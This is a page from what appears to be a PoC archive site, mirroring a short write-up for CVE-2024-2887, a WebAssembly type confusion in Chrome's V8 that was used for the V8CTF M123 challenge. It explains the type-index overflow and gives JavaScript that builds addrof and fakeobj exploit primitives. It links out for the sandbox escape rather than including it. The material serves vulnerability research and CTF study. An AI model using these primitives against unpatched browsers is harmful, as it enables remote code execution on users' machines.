Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1359 CNY

100%

CVE-2024-2887 PoC — Google Chrome 安全漏洞

Source
Associated Vulnerability
Title: Google Chrome 安全漏洞 (CVE-2024-2887)
Description:Type Confusion in WebAssembly in Google Chrome prior to 123.0.6312.86 allowed a remote attacker to execute arbitrary code via a crafted HTML page. (Chromium security severity: High)
Description
For V8CTF M123
Readme
# CVE-2024-2887

This is a short writeup for the CVE-2024-2887, which I used to claim V8CTF M123.

When define more types than kV8MaxWasmTypes, which can be achieved by padding more types in RecGroup, the types index can be more than 20bits and then overflowed. Then two types can be considered same as they have the same heap_type.

We can achieve addrof primitive by creating a array with ref objects and read through float64 array and fakeobj primitive by creating a float64 array and read it as object.

The builder of wasm module show as below:

```js
const builder = new WasmModuleBuilder();

let arr = builder.addArray(kWasmF64, true);
const typeId = builder.addType(makeSig([kWasmExternRef], [kWasmI32]));
const typeId1 = builder.addType(makeSig([kWasmF64], [kWasmI32]));
function overflow(o_cnt, already_have) {
  for (var i = 0; i < 1000000 - o_cnt - 1 - already_have; i++)
    builder.addType(makeSig([], []));
  builder.startRecGroup();
  for (var i = 0; i < o_cnt + 1; i++)
    builder.addType(makeSig([], []));
  builder.endRecGroup();
  for (var i = 0; i < o_cnt - 1; i++)
    builder.addType(makeSig([], []));
}
const importId = builder.addImport('mod', 'foo', typeId1);
builder.addDeclarativeElementSegment([importId]);
const importId2 = builder.addImport('mod', 'foo2', typeId);
builder.addDeclarativeElementSegment([importId2]);

overflow(0xbdc1, 3);
let arr1 = builder.addArray(kWasmExternRef, true);

builder.addFunction("addrof", typeId).exportFunc()
  .addLocals(wasmRefNullType(kWasmArrayRef), 1)
  .addBody([
    kExprLocalGet, 0,
    ...wasmI32Const(2),
    kGCPrefix, kExprArrayNew, ...wasmSignedLeb(arr1),
    ...wasmI32Const(0),
    kGCPrefix, kExprArrayGet, arr,
    kExprRefFunc, importId,
    kExprCallRef, typeId1,
]);

builder.addFunction("fakeobj", typeId1).exportFunc()
  .addLocals(wasmRefNullType(kWasmArrayRef), 1)
  .addBody([
    kExprLocalGet, 0,
    ...wasmI32Const(1),
    kGCPrefix, kExprArrayNew, arr,
    ...wasmI32Const(0),
    kGCPrefix, kExprArrayGet, ...wasmSignedLeb(arr1),
    kExprRefFunc, importId2,
    kExprCallRef, typeId,
]);
```

For sandbox bypasses, see [V8-Sandbox-Escape-via-Regexp](https://github.com/rycbar77/V8-Sandbox-Escape-via-Regexp). The final exploit uses normal orw chains to write the flag through stderr.
File Snapshot

Log in to view the POC file snapshot cached by Shenlong Bot

Log in to view
Remarks
    1. It is advised to access via the original source first.
    2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.
    3. Mirroring, verifying, and maintaining this POC archive takes ongoing effort, so local snapshots are a paid feature. Your subscription keeps the archive online — thank you for the support. View subscription plans →